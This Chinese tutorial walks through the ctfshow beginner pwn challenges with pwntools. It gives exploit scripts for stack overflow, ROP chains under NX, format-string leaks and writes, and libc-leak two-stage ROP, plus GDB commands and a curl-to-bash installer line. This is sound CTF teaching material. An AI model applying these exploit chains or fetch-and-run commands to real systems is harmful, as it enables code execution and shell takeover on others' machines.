CTF Pwn入门实战:基于pwntools的栈溢出与ROP利用详解
2026/7/25 3:42:03 网站建设 项目流程

1. 项目概述:从零到一,用Python pwntools征服CTF Pwn入门

如果你对CTF(Capture The Flag)竞赛中的Pwn(二进制漏洞利用)方向感兴趣,却苦于不知如何下手,看着一堆汇编指令和内存地址发懵,那么这篇内容就是为你准备的。Pwn入门常常给人一种高深莫测的感觉,尤其是面对远程靶机时,如何稳定地发送payload、接收反馈、进行交互式调试,是新手面临的第一道坎。手动用nc命令拼接十六进制字符串的日子已经过去了,现代Pwn手的第一件武器,往往就是Python的pwntools库。它不是一个普通的库,而是一个完整的漏洞利用开发框架,能让你像写普通Python脚本一样,优雅地完成漏洞挖掘与利用的全过程。

我们这次的目标非常具体:打通ctfshow平台上的“Pwn入门”系列的前十题。ctfshow的入门题设计得很有梯度,从最基础的栈溢出到一些简单的绕过技巧,非常适合新手建立完整的知识体系和肌肉记忆。我将手把手带你配置环境、理解每一题的核心漏洞点、编写攻击脚本(EXP),并附上关键的调试命令。你不需要是二进制安全专家,只需要有基础的Python语法知识和一颗愿意动手的心。跟着这篇教程走完,你不仅能拿下这十题,更能掌握一套可持续复用的Pwn解题方法论和工具链。

2. 环境准备与工具链搭建

工欲善其事,必先利其器。一个稳定、高效的开发环境能让你在解题时心无旁骛。对于Pwn来说,环境搭建稍有特殊,因为我们需要同时处理本地调试和远程攻击。

2.1 基础系统与Python环境选择

我强烈推荐使用Linux系统进行Pwn学习,Ubuntu 20.04/22.04 LTS或Kali Linux是常见的选择。Linux原生提供了强大的命令行工具链(如objdump,readelf,gdb),并且与竞赛环境最为接近。如果你使用Windows,可以通过WSL2(Windows Subsystem for Linux)获得近乎原生的Linux体验,这是目前最理想的折中方案。

Python版本建议选择3.8及以上。pwntools对Python 3的支持已经非常完善。避免使用系统自带的Python,最好通过pyenvconda创建一个独立的虚拟环境,防止包依赖冲突。

# 示例:使用pyenv管理Python版本并创建虚拟环境 sudo apt update sudo apt install -y make build-essential libssl-dev zlib1g-dev libbz2-dev libreadline-dev libsqlite3-dev wget curl llvm libncurses5-dev libncursesw5-dev xz-utils tk-dev libffi-dev liblzma-dev python3-openssl git curl https://pyenv.run | bash # 将pyenv初始化命令加入shell配置文件(如.bashrc) exec $SHELL pyenv install 3.10.12 pyenv global 3.10.12 python -m venv pwn-env source pwn-env/bin/activate

2.2 pwntools的安装与核心组件验证

安装pwntools非常简单,但有一些细节需要注意。直接使用pip安装即可,但建议使用国内镜像源加速。

pip install pwntools -i https://pypi.tuna.tsinghua.edu.cn/simple

安装完成后,在Python交互环境中导入并检查版本,同时验证几个关键组件是否可用:

>>> import pwn >>> pwn.version '4.10.0' # 你的版本号可能更高 >>> pwn.asm('xor eax, eax') b'1\xc0' # 能正确输出汇编的机器码,说明汇编器组件正常 >>> pwn.packing.p32(0xdeadbeef) b'\xef\xbe\xad\xde' # 能正确打包32位整数,说明打包模块正常

注意:在某些纯净的Linux发行版上,pwntools依赖的capstone(反汇编引擎)、ropgadget等工具可能需要额外安装系统库。如果遇到安装错误,通常根据报错信息安装对应的libcapstone-devbinutils等包即可解决。

2.3 辅助工具安装:让调试如虎添翼

仅有pwntools还不够,以下几款工具是Pwn手的标配:

  1. GDB及其增强插件(Pwndbg/GEF/Peda):GDB是调试基石,但原生界面不友好。增强插件能自动显示寄存器、栈、代码、内存映射等信息。我个人偏好Pwndbg,它界面清晰,对新手友好。

    # 安装GDB sudo apt install gdb -y # 安装Pwndbg(推荐) git clone https://github.com/pwndbg/pwndbg cd pwndbg ./setup.sh

    安装后,启动GDB就会自动进入Pwndbg模式。

  2. checksec:用于快速检查二进制文件的安全属性(如NX, PIE, Canary, RELRO)。pwntools自带checksec功能,但系统安装一个命令行版本也很方便。

    sudo apt install checksec -y # 或使用pwntools的 from pwn import * context.binary = './pwn1' print(context.binary.checksec())
  3. one_gadget:用于在libc中寻找“一击必杀”的gadget(直接调用execve(‘/bin/sh’, NULL, NULL)的代码片段)。在需要绕过复杂限制时非常有用。

    gem install one_gadget
  4. LibcSearcherlibc-database:当题目只提供远程服务,不给libc文件时,用于根据泄露的函数地址查找对应的libc版本。这是一个Python库。

    git clone https://github.com/lieanu/LibcSearcher.git cd LibcSearcher python setup.py develop

将以上工具准备好,你的Pwn武器库就初步成型了。接下来,我们进入实战,从第一题开始拆解。

3. 核心思路与解题方法论框架

在具体分析每一题之前,我们必须建立一个清晰的解题框架。面对一个陌生的Pwn题,遵循一套固定的分析流程,可以避免遗漏关键信息,提高解题效率。这个流程可以概括为“静态分析 -> 动态调试 -> 利用构造 -> 脚本编写”四个阶段。

3.1 静态分析:读懂程序在“说什么”

静态分析是在不运行程序的情况下,通过工具分析二进制文件。目标是理解程序逻辑、识别危险函数、确定漏洞类型和初步评估利用难度。

  1. 文件信息侦察:使用file命令查看文件类型(32/64位,动态链接等),checksec查看防护机制。这是第一步,决定了后续利用的大方向。例如,看到NX enabled就要想到用ROP;看到PIE enabled就要考虑泄露地址。

    file pwn1 checksec --file=pwn1
  2. 符号与函数分析:使用objdump -t查看符号表,寻找mainwin(后门函数)、vuln等关键函数。使用strings查看字符串,有时能直接发现/bin/sh或格式化字符串漏洞的线索。

    objdump -t pwn1 | grep -E ‘main|win|vuln’ strings pwn1 | grep -i ‘bin/sh’
  3. 反汇编与代码审计:使用objdump -d -M intel反汇编,或者用IDA Pro/Ghidra等图形化工具进行更直观的分析。重点关注:

    • gets,scanf(“%s”),strcpy,sprintf等不检查长度的输入函数(栈溢出)。
    • printf的第一个参数用户可控(格式化字符串漏洞)。
    • read,recv的长度参数大于目标缓冲区(堆/栈溢出)。
    • 存在明显的数组越界访问。
    • 存在释放后使用(UAF)或双重释放(Double Free)的迹象。

3.2 动态调试:观察程序在“做什么”

动态调试是在程序运行时观察其状态,验证静态分析的猜想,并获取精确的偏移量、地址等关键数据。

  1. 使用GDB+Pwndbg:启动GDB,在疑似漏洞函数(如vuln)或危险函数调用(如gets)处下断点。

    gdb ./pwn1 # 在Pwndbg中 break main run
  2. 关键信息收集

    • 计算偏移:在函数入口处,查看栈布局。对于栈溢出,最关键的是找到返回地址(Saved RIP/EIP)相对于输入缓冲区的偏移。常用方法是制造一个模式字符串(pattern)。
      # 在pwntools脚本中或使用Pwndbg命令 from pwn import * cyclic(100) # 生成一个100字节的循环字符串 # 将生成的字符串作为输入,程序崩溃后查看RIP/EIP的值 # 再用 cyclic_find(崩溃的RIP值) 计算偏移
    • 泄露地址:如果程序有输出功能(如puts泄露了某个GOT表地址),在调试中记录下这个地址,用于计算libc基址。
    • 观察内存变化:单步执行(ni/si),观察栈和堆的变化,理解数据流向。

3.3 利用构造:设计攻击“路线图”

根据漏洞类型和防护机制,设计利用方案。

  1. 栈溢出(无NX):最经典。计算好偏移后,将shellcode写入缓冲区,并覆盖返回地址指向shellcode起始处。
  2. 栈溢出(NX开启):使用ROP(Return-Oriented Programming)。寻找可用的gadget链,最终调用system(‘/bin/sh’)execve。如果是64位,还要注意函数参数传递规则(前六个参数通过寄存器RDI, RSI, RDX, RCX, R8, R9传递)。
  3. 格式化字符串漏洞:通常用于任意地址读(泄露信息)和任意地址写(改写GOT表或关键变量)。计算格式化字符串在栈上的位置是关键。
  4. 堆漏洞:如UAF、Double Free、Off-by-One等。思路通常是利用堆管理器的机制(如glibc的malloc/free)来制造堆块重叠,最终实现任意地址写。

3.4 脚本编写:用pwntools自动化攻击

将上述思路转化为可重复、可调整的Python脚本。pwntools的核心对象是tube,它抽象了本地进程(process)和远程连接(remote)的交互。

一个典型的EXP脚本结构如下:

#!/usr/bin/env python3 from pwn import * # 1. 设置上下文(架构、日志级别) context(arch=‘amd64’, os=‘linux’, log_level=‘debug’) # 2. 连接到目标(本地或远程) # io = process(‘./pwn1’) io = remote(‘pwn.challenge.ctf.show’, 12345) # 3. 接收初始信息(如菜单、提示语),便于后续交互 io.recvuntil(b‘something:’) # 4. 构造payload offset = 72 ret_addr = 0x400123 # 例如,win函数地址 payload = b‘A’ * offset + p64(ret_addr) # 5. 发送payload io.sendline(payload) # 6. 如果攻击成功获得shell,则切换到交互模式 io.interactive()

掌握了这个方法论,我们就像有了地图和指南针,可以开始征服ctfshow的入门十题了。下面,我将选取其中最具代表性的几题,进行超详细的拆解。

4. 实战拆解:ctfshow pwn入门典型题目精讲

由于篇幅所限,我们无法逐一讲解十题,但我会挑选涵盖不同知识点和难度的四道题,进行深度剖析。你可以举一反三,应用到其他题目上。

4.1 入门第一题:最基础的栈溢出与返回地址覆盖

这通常是整个系列最简单的一题,目标是让你熟悉最基本的栈溢出利用流程。

题目分析: 用filechecksec查看,一般是32位或64位程序,没有开启任何保护(NX disabled, No PIE)。用objdump -d或IDA查看main函数,会发现它调用了某个函数(比如vuln),里面使用了不安全的getsread函数向一个固定大小的栈缓冲区读入数据。

漏洞点gets函数不检查输入长度,导致可以覆盖栈上保存的返回地址。

利用思路

  1. 确定偏移量:缓冲区起始地址到返回地址之间的字节数。
  2. 找到后门函数或shellcode地址:题目通常会直接给你一个wingetshell函数,或者因为没开NX,可以把shellcode放在缓冲区并跳转过去。
  3. 构造payload:[填充字符] * 偏移量 + [目标地址]

详细步骤与EXP

#!/usr/bin/env python3 from pwn import * # 设置上下文,关闭ASLR以便本地调试(远程不影响) context(arch=‘i386’, os=‘linux’, log_level=‘info’) # 本地测试 io = process(‘./pwn1’) # 或者直接连接远程 # io = remote(‘pwn.challenge.ctf.show’, 28100) # 方法一:使用cyclic模式字符串自动计算偏移(推荐新手学习用) # 先发送一个长字符串 payload = cyclic(200) io.sendline(payload) # 程序崩溃,记下崩溃时EIP/RIP的值,假设是0x6161616c (‘laaa’) # 然后在脚本中计算 # offset = cyclic_find(0x6161616c) # 假设是76 # 方法二:通过静态分析或调试已知偏移,假设是76 offset = 76 # 找到后门函数地址,用objdump或IDA看,假设是0x80485cb win_addr = 0x80485cb # 构造payload payload = b‘A’ * offset + p32(win_addr) # p32用于32位打包 # 发送payload前,可以接收一下程序的提示语 print(io.recvuntil(b‘input:\n’)) io.sendline(payload) # 如果成功,程序会跳转到win函数,执行system(‘/bin/sh’)等,我们获得shell io.interactive()

调试命令实录

# 终端1:运行EXP脚本 python3 exp.py # 如果脚本中用的是 process(‘./pwn1’),程序会崩溃,记下EIP # 终端2:使用GDB调试,精确计算偏移 gdb ./pwn1 break *vuln+50 # 在gets函数返回后下断点 run < <(python3 -c “from pwn import *; print(cyclic(100))”) # 程序断下后,查看栈顶esp附近的值,或者直接看崩溃时eip的值 info frame x/20wx $esp # 找到cyclic字符串的特征值,如0x6161616c,然后用cyclic_find计算

实操心得:第一题的关键是建立“偏移量”和“覆盖返回地址”这两个核心概念。使用cycliccyclic_find是自动化计算偏移的最佳实践,比手动计算更可靠。务必在本地用GDB验证偏移是否正确。

4.2 入门第三题:引入NX保护与ROP技术

从这一题开始,题目通常会开启NX(No-Execute)保护,意味着栈上的数据不可执行。我们不能再把shellcode放在栈上并跳转过去执行了。

题目分析checksec会显示NX enabled。程序逻辑可能和第一题类似,有一个栈溢出漏洞。但这次,我们需要寻找程序本身或链接库(libc)中已有的代码片段(gadget)来拼凑出我们想要的逻辑。

漏洞点:同样是栈溢出。

利用思路:ROP。我们需要找到以下gadget或函数:

  1. 控制参数寄存器的gadget(如pop rdi; ret)。
  2. /bin/sh字符串的地址(可能在程序数据段,也可能需要我们自己写入)。
  3. system函数的地址(来自libc,需要计算)。

详细步骤与EXP: 假设是64位程序,libc已给出(或通过泄露计算)。

#!/usr/bin/env python3 from pwn import * context(arch=‘amd64’, os=‘linux’, log_level=‘debug’) io = process(‘./pwn3’) # io = remote(‘pwn.challenge.ctf.show’, 28102) elf = ELF(‘./pwn3’) # 加载本地二进制文件,方便解析符号 # 如果给了libc.so,也可以加载 # libc = ELF(‘./libc.so.6’) # 1. 计算偏移(方法同前,假设为72) offset = 72 # 2. 寻找gadget。使用ROPgadget工具或pwntools的ROP功能 # 命令行:ROPgadget --binary ./pwn3 | grep “pop rdi” pop_rdi_ret = 0x4007a3 # 假设找到的地址 ret_addr = 0x4005ae # 一个单独的ret指令地址,用于栈对齐(某些系统需要) # 3. 寻找字符串和函数地址 # 程序中如果有现成的字符串最好 binsh_addr = next(elf.search(b‘/bin/sh’)) # 搜索字符串 # 如果没有,可能需要通过其他漏洞写入 system_plt = elf.plt[‘system’] # 获取PLT表中的system地址 # 如果程序没有直接调用system,但给了libc,则需要计算libc基址 # leaked_addr = xxx # 通过溢出泄露的某个函数地址 # libc_base = leaked_addr - libc.sym[‘puts’] # 假设泄露的是puts # system_addr = libc_base + libc.sym[‘system’] # binsh_addr = libc_base + next(libc.search(b‘/bin/sh’)) # 4. 构造ROP链 payload = flat([ b‘A’ * offset, pop_rdi_ret, binsh_addr, ret_addr, # 栈对齐,可选,有时能解决movaps指令崩溃 system_plt ]) # flat()函数会自动将列表中的元素打包成字节流,整数用p64(),字节串不变 io.recvuntil(b‘>’) io.sendline(payload) io.interactive()

调试命令与技巧

# 使用Pwndbg的rop功能辅助查找 rop --grep “pop rdi” # 在泄露地址后,在gdb中计算libc基址 p/x leaked_puts_addr - 0x809c0 # 0x809c0是本地libc中puts的偏移,需根据版本查 # 使用vmmap命令查看内存映射,确认libc加载基址 vmmap libc

注意事项:64位ROP时,特别注意函数调用约定(参数顺序:RDI, RSI, RDX, RCX, R8, R9)。system只需要一个参数(字符串地址)。另外,在某些Ubuntu 18.04+的系统上,调用system时如果栈没有16字节对齐,会导致movaps指令崩溃,这时在ROP链开头加一个retgadget可以对齐栈。

4.3 入门第五题:格式化字符串漏洞与信息泄露

格式化字符串漏洞(Format String Bug, FSB)是另一大类漏洞。它允许我们通过控制printf等格式化函数的格式字符串,来读取或写入任意内存。

题目分析: 程序中使用printf(user_input)这样的语句,其中user_input是我们可控的。checksec可能开启NX。

漏洞点printf的第一个参数(格式字符串)用户可控。

利用思路

  1. 任意地址读:利用%p%s等格式化符,从栈上泄露信息,如libc地址、栈地址、canary等。
  2. 任意地址写:利用%n格式化符(将已输出的字符数写入指定地址),可以修改GOT表(将printf的GOT项改为system的PLT地址),或者修改栈上的返回地址。
  3. 通常步骤是:先泄露若干地址,计算出关键地址(libc基址、栈地址等),然后利用写能力修改某个地址的值,劫持程序流。

详细步骤与EXP: 假设是32位程序,目标是泄露栈上的libc地址,然后修改返回地址为system

#!/usr/bin/env python3 from pwn import * context(arch=‘i386’, os=‘linux’, log_level=‘debug’) io = process(‘./pwn5’) # io = remote(‘pwn.challenge.ctf.show’, 28104) # 1. 确定我们的输入在栈上的位置 # 发送多个%p,查看输出 io.recvuntil(b‘name:’) payload = b‘%p.’ * 10 io.sendline(payload) output = io.recvline() print(output) addrs = output.decode().strip().split(‘.’) # 假设第7个输出是我们的输入字符串的地址(或附近),第4个是libc中的地址 # 这需要动态调试确定,例如在printf处下断点,查看栈帧。 # 2. 假设我们通过调试,发现偏移为6的位置是一个libc地址(例如__libc_start_main+243) # 我们利用这个偏移来泄露 io.recvuntil(b‘name:’) payload = b‘%6$p’ # 直接打印栈上第6个参数(从0开始计数?注意规则,通常第一个是格式字符串本身) io.sendline(payload) libc_leak = int(io.recvline(), 16) print(f“Leaked libc address: {hex(libc_leak)}“) # 3. 计算libc基址和system地址(需要知道本地libc版本和对应偏移) # 假设泄露的是 __libc_start_main+243,本地该符号偏移是0x18e33 libc_base = libc_leak - 0x18e33 - 243 # 减去固定偏移 system_addr = libc_base + 0x3d200 # system在libc中的偏移 print(f“Libc base: {hex(libc_base)}“) print(f“System addr: {hex(system_addr)}“) # 4. 确定要写入的地址(例如,某个函数的返回地址在栈上的位置) # 通过调试,假设返回地址存储在栈上偏移为10的位置 # 我们需要将system_addr写入这个位置 # 使用%n进行写入,但需要控制写入的值。我们可以用%xxxc来输出特定数量的字符,再用%n写入。 # 更常用的技巧是使用pwntools的fmtstr_payload函数自动生成payload # 首先,我们需要知道目标地址(栈上返回地址的位置)本身的值。 # 我们可以先泄露一个栈地址,然后计算出返回地址的绝对地址。 # 5. 使用pwntools自动化生成格式化字符串攻击payload(推荐) # 假设我们通过调试,知道返回地址存储在栈上地址为0xffffd5cc的地方 # 并且我们可以通过偏移7控制一个指针指向这个地址(即我们的输入中包含了0xffffd5cc) from pwn import fmtstr_payload # fmtstr_payload(offset, writes, numbwritten=0, write_size=‘byte’) # offset: 我们控制的第一个参数在格式化字符串中的偏移 # writes: 一个字典,{addr: value} 表示要将value写入addr # 假设偏移是7,我们要将system_addr写入0xffffd5cc writes = {0xffffd5cc: system_addr} payload = fmtstr_payload(7, writes) io.recvuntil(b‘name:’) io.sendline(payload) # 6. 触发漏洞,例如程序再次读取输入并调用printf io.recvuntil(b‘again:’) io.sendline(b‘/bin/sh\x00’) # 发送/bin/sh字符串,system的参数 io.interactive()

调试关键点

# 在GDB中调试格式化字符串漏洞,关键看栈 gdb ./pwn5 break printf run # 当断在printf时,查看栈帧 x/20wx $esp # 第一个参数是格式字符串地址,后面的就是printf的可变参数。 # 计算我们的输入是第几个“参数”。例如,如果我们的输入在0xffffd580,而esp+4是0xffffd56c,那么相差 (0x580-0x56c)/4 = 5,所以偏移可能是5或6(取决于计数方式,从0还是1开始)。

避坑指南:格式化字符串漏洞的偏移计算是难点,一定要结合GDB动态调试确认。pwntools的fmtstr_payload函数非常强大,可以自动处理复杂的写入和字节对齐,但你需要正确提供偏移量和写入字典。对于初学者,建议先手动构造简单的泄露payload理解原理,再使用自动化工具。

4.4 入门第八题:64位ROP与Libc地址泄露

这道题综合了前面几题的知识点,通常是一个64位程序,开启了NX和ASLR,没有给出libc文件。我们需要先利用程序本身的输出功能泄露一个libc函数地址,计算出libc基址,然后再进行ROP攻击。

题目分析: 程序存在一个栈溢出漏洞,并且在此之前,可能有一个输出某个全局变量或函数地址的机会(比如puts(@got[‘puts’]))。我们的目标是先泄露,再溢出。

漏洞点:一个可以泄露地址的点和另一个栈溢出点(可能是同一个函数内,也可能是两个步骤)。

利用思路

  1. 信息泄露阶段:利用程序的第一次输出(如puts(puts@got)),泄露出一个libc函数的真实地址。
  2. 计算阶段:根据泄露的地址和已知的libc版本中该函数的偏移量,计算出libc的加载基址。进而得到system和字符串/bin/sh的地址。
    • 如何知道libc版本?题目可能暗示,或者用LibcSearcher工具根据泄露的多个地址进行匹配。
  3. 攻击阶段:利用栈溢出,构造ROP链,调用system(‘/bin/sh’)

详细步骤与EXP

#!/usr/bin/env python3 from pwn import * context(arch=‘amd64’, os=‘linux’, log_level=‘debug’) # io = process(‘./pwn8’) io = remote(‘pwn.challenge.ctf.show’, 28107) elf = ELF(‘./pwn8’) # 第一部分:泄露libc地址 # 假设程序有一个函数可以打印puts的GOT表地址 # 先接收菜单等无关输出 io.recvuntil(b‘choice:’) io.sendline(b‘1’) # 选择泄露功能 # 接收泄露的地址。注意接收的数据可能包含换行、非打印字符,需要处理 leaked_data = io.recvline().strip() # 假设输出是“Address: 0x7f1234567890” # 我们需要提取出地址部分 puts_leak = int(leaked_data.split(b‘:’)[1].strip(), 16) print(f“Leaked puts address: {hex(puts_leak)}“) # 使用LibcSearcher查找libc版本(如果未提供libc) from LibcSearcher import * libc = LibcSearcher(‘puts’, puts_leak) # 函数名和泄露值 libc_base = puts_leak - libc.dump(‘puts’) system_addr = libc_base + libc.dump(‘system’) binsh_addr = libc_base + libc.dump(‘str_bin_sh’) print(f“Libc base: {hex(libc_base)}“) print(f“System addr: {hex(system_addr)}“) print(f“/bin/sh addr: {hex(binsh_addr)}“) # 第二部分:进行栈溢出ROP攻击 # 假设程序的另一个功能存在栈溢出 io.recvuntil(b‘choice:’) io.sendline(b‘2’) io.recvuntil(b‘input:’) # 寻找gadget pop_rdi_ret = 0x400913 # 通过ROPgadget找到 ret_addr = 0x4005ae # 用于栈对齐的ret offset = 72 # 栈溢出偏移,通过cyclic确定 payload = flat([ b‘A’ * offset, pop_rdi_ret, binsh_addr, ret_addr, system_addr ]) io.sendline(payload) io.interactive()

调试与问题排查

# 如果泄露的地址不对,检查接收和处理数据的代码 # 在发送泄露选项后,使用 recvuntil(‘xxx’) 精确接收直到特定字符串,再用 recvline() 接收地址行 # 使用 hexdump 查看原始接收数据 from pwn import hexdump print(hexdump(leaked_data)) # 如果LibcSearcher匹配到多个版本,需要根据其他泄露(如__libc_start_main)进一步确定,或者根据题目平台常用的libc版本猜测(如ubuntu18.04对应libc6_2.27-3ubuntu1.4_amd64)。

核心技巧:这种“先泄露,后攻击”的两段式利用是CTF Pwn题的经典套路。关键在于第一次交互不能破坏程序状态,要确保程序能正常执行到第二次输入点。有时需要精心构造第一次的payload,使其在泄露后能正常返回,或者程序本身就有循环。另外,LibcSearcher不是万能的,最好自己维护一个常见的libc数据库。

5. 完整EXP模板与通用调试命令集

经过前面几道题的实战,你应该对流程有了清晰的认识。下面我提供一个相对通用的EXP模板,并汇总一套高效的GDB调试命令,你可以像搭积木一样根据题目进行修改。

5.1 通用EXP脚本模板

#!/usr/bin/env python3 “”” ctfshow pwn 通用解题模板 根据题目情况,注释/取消注释相关部分,并填充关键地址和偏移。 “”” from pwn import * import sys def start(): “””启动调试或连接远程””” if args.REMOTE: # 使用 python exp.py REMOTE 来连接远程 return remote(‘pwn.challenge.ctf.show’, 端口号) else: # 本地调试,可以attach到gdb if args.GDB: context.terminal = [‘tmux’, ‘splitw’, ‘-h’] # 根据你的终端调整 return gdb.debug([‘./pwn’], gdbscript=gs) else: return process(‘./pwn’) # GDB调试脚本,在启动时自动执行 gs = “”” break *main break *vuln+50 continue “”” # 设置全局上下文 context.binary = ‘./pwn’ # 自动识别架构 context.log_level = ‘debug’ # 调试时用‘debug’,稳定后用‘info’ context.timeout = 5 # 加载ELF文件,方便获取符号地址 elf = context.binary # —————— 1. 泄露阶段 —————— io = start() # 填充你的泄露逻辑,获取libc地址、栈地址、canary等 # 例:泄露puts的got表地址 # payload1 = flat([ # b‘A’*offset1, # pop_rdi, # elf.got[‘puts’], # elf.plt[‘puts’], # elf.sym[‘main’] # 泄露后返回main函数,进行第二次溢出 # ]) # io.sendlineafter(b‘>’, payload1) # leaked_puts = u64(io.recvline().strip().ljust(8, b‘\x00’)) # libc_base = leaked_puts - libc.sym[‘puts’] # —————— 2. 计算关键地址 —————— # libc = elf.libc # 如果本地文件存在 # libc.address = libc_base # 设置libc基址,之后直接用 libc.sym[‘system’] # system_addr = libc.sym[‘system’] # binsh_addr = next(libc.search(b‘/bin/sh’)) # —————— 3. 攻击阶段 —————— # 构造最终的ROP链或shellcode # payload2 = flat([ # b‘A’*offset2, # pop_rdi_ret, # binsh_addr, # ret, # 栈对齐 # system_addr # ]) # io.sendlineafter(b‘input:’, payload2) # —————— 4. 享受shell —————— io.interactive()

5.2 GDB+Pwndbg 高效调试命令清单

将以下命令保存为~/.gdbinit或在使用时输入,能极大提升调试效率。

# 基础设置 set disassembly-flavor intel set pagination off # Pwndbg自动加载后,以下命令可用 # 1. 查看程序保护 checksec # 2. 查看函数反汇编 disass main disass vuln # 3. 下断点 break *main break *vuln+100 # 在vuln函数偏移100处下断 break *0x400123 # 在绝对地址下断 # 4. 运行并附加进程 run < <(python3 -c “from pwn import *; print(‘A’*100)”) # 重定向输入 run “$(python3 -c ‘from pwn import *; print(b“A”*100 + p64(0xdeadbeef))’)” # 参数传递 # 如果程序已经运行,在其他终端用 `ps aux | grep pwn` 找到PID # 然后 gdb -p PID # 5. 查看内存 x/20wx $esp # 查看栈顶20个32位字 x/10gx $rsp # 查看栈顶10个64位字 x/s 0x400000 # 查看0x400000地址处的字符串 x/i $pc # 查看当前指令 # 6. 查看寄存器 registers i r # info registers 简写 # 7. 查看栈帧信息 backtrace # 或 bt,查看调用栈 info frame # 查看当前栈帧详细信息 # 8. 单步执行 ni # next instruction,步过 si # step instruction,步入(遇到call会进入) c # continue,继续运行 # 9. 模式字符串计算 # 在程序崩溃后,查看RIP/EIP的值,例如是0x6161616c python import pwn; print(pwn.cyclic_find(0x6161616c)) # 10. 搜索内存 search -t string “/bin/sh” # 搜索字符串 search -t bytes b“\x7f\x45\x4c\x46” # 搜索ELF头 # 11. ROP gadget搜索 rop --grep “pop rdi” rop --grep “ret”

5.3 常见问题与速查表

在实战中,你肯定会遇到各种报错和意外情况。下表汇总了最常见的问题及其排查思路:

问题现象可能原因排查步骤与解决方案
本地成功,远程失败1. 本地libc版本与远程不同。
2. 偏移量计算错误(栈布局可能因环境变量差异而不同)。
3. 远程有额外的输入验证或过滤。
1. 使用LibcSearcher或根据泄露的多个地址确定远程libc版本。
2.务必使用题目提供的libc或根据泄露精确计算偏移。本地偏移仅作参考。
3. 检查发送的payload中是否有被远程过滤的字符(如\x00,\n,\x0c等),尝试编码或替换。
发送payload后程序无响应或立即退出1. payload覆盖了关键数据导致程序崩溃在非预期位置。
2. 栈没有对齐(64位下常见)。
3. Canary保护未绕过。
1. 用GDB调试,在发送payload后单步执行,观察程序在哪条指令崩溃。
2. 在ROP链开头加一个retgadget进行栈对齐。
3. 检查checksec,如果有Canary,需要先泄露canary值,并在payload中正确覆盖。
system(‘/bin/sh’)执行后没有获得shell1.system函数执行成功,但shell的输入输出没有重定向到我们的socket。
2. 字符串/bin/sh地址错误或结尾没有\x00
3. 环境变量问题。
1. 确保使用io.interactive()进行交互。
2. 检查/bin/sh字符串是否完整,确保是b‘/bin/sh\x00‘
3. 尝试使用execve的one_gadget,或者使用dup2将标准输入输出重定向到socket。
泄露的地址看起来不对(全0或很小)1. 接收数据不正确,包含了换行符或非地址字符。
2. 泄露的偏移计算错误。
3. 程序输出被缓冲,没有及时收到。
1. 使用recvuntil(‘:’)精确接收,用u64(io.recv(6).ljust(8, b‘\x00‘))处理。
2. GDB动态调试,在泄露点查看栈和寄存器,确认泄露的值是什么。
3. 尝试在发送后加io.recvline()io.clean()清空缓冲区。
使用fmtstr_payload时报错或无效1. 偏移量参数不正确。
2. 写入的地址不可写或不对齐。
3. 格式化字符串长度限制。
1. 动态调试确定准确的偏移。
2. 确保写入的地址(如GOT表地址)是可写的。64位下注意地址是否为合法地址(不能有\x00字节,否则会被截断)。
3. 尝试手动构造简化的payload验证原理。
one_gadget执行失败1. 约束条件不满足(如某个寄存器值必须为NULL)。
2. 栈状态不符合要求。
1. 用one_gadget工具查看gadget的约束条件(one_gadget libc.so.6)。
2. 在跳转到one_gadget前,通过ROP链设置好寄存器状态(如pop rdx; ret; xor rdx, rdx; ret)。
3. 多尝试几个不同的one_gadget。

掌握以上模板、命令和排查技巧,你就能应对ctfshow pwn入门十题中绝大部分情况。记住,Pwn是一个需要大量动手实践的领域,光看是学不会的。一定要自己动手搭环境、写EXP、调试、踩坑、再调试。每一个报错信息都是你进步的阶梯。当你按照这个流程,独立调试通一道题时,那种成就感是无与伦比的。剩下的题目,就请你带着这份指南和模板,去亲自征服吧。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询